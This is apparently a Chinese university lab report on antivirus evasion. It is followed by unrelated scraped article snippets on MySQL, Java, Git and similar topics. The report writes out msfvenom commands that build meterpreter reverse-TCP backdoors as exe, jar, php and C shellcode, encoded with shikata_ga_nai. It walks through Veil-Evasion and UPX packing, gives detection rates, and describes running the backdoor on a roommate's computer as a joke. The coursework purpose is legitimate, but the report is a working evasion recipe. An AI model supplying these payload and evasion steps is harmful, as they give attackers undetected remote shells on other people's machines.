Exp3免杀原理与实践 20164312 马孝涛
1.实验要求
- 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),veil-evasion(0.5分),加壳工具(0.5分),使用shellcode编程(1分)
- 1.2 通过组合应用各种技术实现恶意代码免杀(0.5分)
- (如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 1.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(加分0.5)
2.实验过程
2.1正确使用msf编码器
实验2中生成的20164312_backdoor.exe就是用msfvenom生成的后门程序,直接拉到virstotal上检测一下:
很惨,71个杀软有52个都检测出来了。
tips:我们用msf编码器对后门程序进行一次编码:-e
:选择编码器,-i
是迭代的次数,-b
:是payload中需要去除的字符。因为shellcode以\x00
为结束符,所以在-b
后面要跟一个\x00
。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b ‘\x00’ LHOST=192.168.192.136 LPORT=4312 -f exe > 20164312_backdoor2.exe
貌似情况好一点了,但是并没有什么大的改善。
2.2 msfvenom生成jar文件
在Linux中写入msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x>20164312.jar
将生成的jar文件在virustotal上进行检测:
通过率有一半了,感觉比之前的exe文件要好很多。
2.3 msfvenom生成php文件
在Linux中键入msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.181.135 LPORT=4312 x> 20164312.php
继续在virustotal上检测:
emmm......这也太恐怖了吧,虽然不知道原理如何,但是实践告诉我php文件是免杀程度最好的。(细思极恐)
2.4 使用veil-evasion生成后门程序及检测
tips:Veil Evasion是一个可执行文件,它被用来生成Metasploit的payload,能绕过常见杀软。
在kali Linux中键入apt-get install veil-evasion进行安装(100多M,挺费时间的)
安装成功之后,输入veil
,再用use evasion命令进入Evil-Evasion界面:
输入命令use c/meterpreter/rev_tcp.py进入配置界面:
设置反弹连接IP:set LHOST 192.168.181.136 设置端口:set LPORT 4312 输入generate生成文件,接着输入playload的名字::
保存路径:
/var/lib/veil/output/compiled/veil_c_4312.exe:
这次使用的是virscan检测,因为不知道为什么virustotal出什么毛病了。。。说没有引擎能检测出此文件。
2.5 半手工注入Shellcode并执行
在Linux键入:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.181.136 LPORT=4312 -f c
用c语言生成一段shellcode。
创建一个文件shellcode.c,然后将unsigned char buf[] 拷贝到其中:
使用命令:i686-w64-mingw32-g++ shellcode.c -o shellcode.exe
编译这个shellcode.c文件为可执行文件:
放到virscan上检测:
拷贝到windows上用360软件查杀病毒:
tips:我的360是最新版的,emmm我也不知道为什么这么多木马只能查出来3个,难道说其他的对电脑没威胁?
2.6加压缩壳
在linux中键入upx shellcode.exe -o 4312.upxed.exe 加个压缩壳,得到4312.upxed.exe:
上传到virscan上检测:
wc,这是什么骚操作,加了壳,反而被更多的杀软查出来了,太优秀了。
呵呵,360依然查不出来。我又把病毒库更新了一下,这次终于能杀出来了,但是360感觉还是不太安全啊:
3.通过组合应用各种技术实现恶意代码免杀
经过上面的一系列操作,我发现veil和c都比较容易实现免杀,但是更新了病毒库的360还是比较稳的,所以我将veil生成的后门程序加上壳以后再进行测试:
生成过程:
查杀结果及360版本号:
发现我给veil再加个壳就可以达到免杀了,测试一下是否可以回弹:
可以完成回弹,nice
但是virscan上结果依然不容乐观。
我在veil中重新选了ruby格式的后门程序:
有些改善,但还是无法实现彻底免杀,勉强维持生活。
发给室友进行免杀测试与回弹:
感觉学到了什么好办法~可以搞室友了。
4.实验总结
4.1.基础问题回答
(1)杀软是如何检测出恶意代码的?
1.基于特征码的检测
2.启发式恶意软件检测
3.基于行为的恶意软件检测
(2)免杀是做什么?
防止被杀毒软件检测出来
(3)免杀的基本方法有哪些?
1.改变特征码
2.加壳
4.2.实践总结与体会
经过这次自己动手制作软件来免杀,我深刻的体会到光有360是完全不够的,而且平时下载东西的时候不能觉得没被360查出来就是绝对安全的,应该在virscan这种网站上进行一次比较权威的杀毒检查,嗯,以后不能乱下东西了,奇怪的程序要及时删除,不能瞎点程序了。
4.3开启杀软能绝对防止电脑中恶意代码吗?
事实证明并不能。
Exp3免杀原理与实践 20164312 马孝涛的更多相关文章
- Exp2后门原理与实践 20164312马孝涛
实验内容 使用netcat获取主机操作Shell,cron启动 (0.5分) 使用socat获取主机操作Shell, 任务计划启动 (0.5分) 使用MSF meterpreter(或其他软件)生成可 ...
- NetSec2019 20165327 Exp3 免杀原理与实践
NetSec2019 20165327 Exp3 免杀原理与实践 pre基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清 ...
- Exp3 免杀原理与实践_05齐帅
Exp3 免杀原理与实践 20154305_齐帅 想要弄懂免杀,一定得先把基础问题弄明白啊~~ 一.基础问题回答 (1)杀软是如何检测出恶意代码的? - -检测特征码: 依靠分析总结出计算机病毒中常出 ...
- 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...
- 2018-2019-2 《网络对抗技术》Exp3 免杀原理与实践 Week5 20165233
Exp3 免杀原理与实践 实验内容 一.基础问题回答 1.杀软是如何检测出恶意代码的? 基于特征码的检测:通过与自己软件中病毒的特征库比对来检测的. 启发式的软件检测:就是根据些片面特征去推断.通常是 ...
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
随机推荐
- mysql中float类型使用总结
对于单精度浮点数Float: 当数据范围在±131072(65536×2)以内的时候,float数据精度是正确的,但是超出这个范围的数据就不稳定,没有发现有相关的参数设置建议:将float改成dou ...
- java位 、字节 、字符的梳理
1字节(byte)=8位(bit) char=2字节(这是因为char是Java中的保留字,Java用的是Unicode,所以char在Java中是16位即2个字节的.) 附: String str= ...
- 好代码是管出来的——使用Git来管理源代码
软件开发过程中一个重要的产出就是代码,软件的编码过程一般是由一个团队共同完成,它是一个并行活动,为了保证代码在多人开发中能够顺利完成,我们需要使用代码版本控制工具来对代码进行统一存储,并追踪每一份代码 ...
- tkinter属性(总结)
一.主要控件 1.Button 按钮.类似标签,但提供额外的功能,例如鼠标掠过.按下.释放以及键盘操作事件 2.Canvas 画布.提供绘图功能(直线.椭圆.多边形.矩形) 可以包含图形或位图 3.C ...
- nodejs模块xml2js解析xml的坑
在一个项目中,用到nodejs模块xml2js解析xml,xml的数据如下: <xml> <MsgId>6197906553041859764</MsgId> &l ...
- Android FoldingLayout 折叠布局 原理及实现(一)
转载请标明出处:http://blog.csdn.net/lmj623565791/article/details/44278417,本文出自:[张鸿洋的博客] 1.概述 无意中翻到的FoldingL ...
- scrapy分布式爬虫scrapy_redis一篇
分布式爬虫原理 首先我们来看一下scrapy的单机架构: 可以看到,scrapy单机模式,通过一个scrapy引擎通过一个调度器,将Requests队列中的request请求发给下载器,进行页 ...
- Python bytes数据类型
Python3 中文本是Unicode, 由str类型表示. 二进制数据由bytes类型表示(如视频文件). Python3 不会以任意隐式的方式 滥用str和bytes, 所以不能拼接字符串和字节包 ...
- CentOS7 通过YUM安装MySQL5.7
1.进入到要存放安装包的位置 cd /home/lnmp 2.查看系统中是否已安装 MySQL 服务,以下提供两种方式: rpm -qa | grep mysql yum list installed ...
- python strip()函数和Split函数的用法总结
strip函数原型 声明:s为字符串,rm为要删除的字符序列. 只能删除开头或是结尾的字符或是字符串.不能删除中间的字符或是字符串. s.strip(rm) 删除s字符串中开头.结尾处,位于 rm删除 ...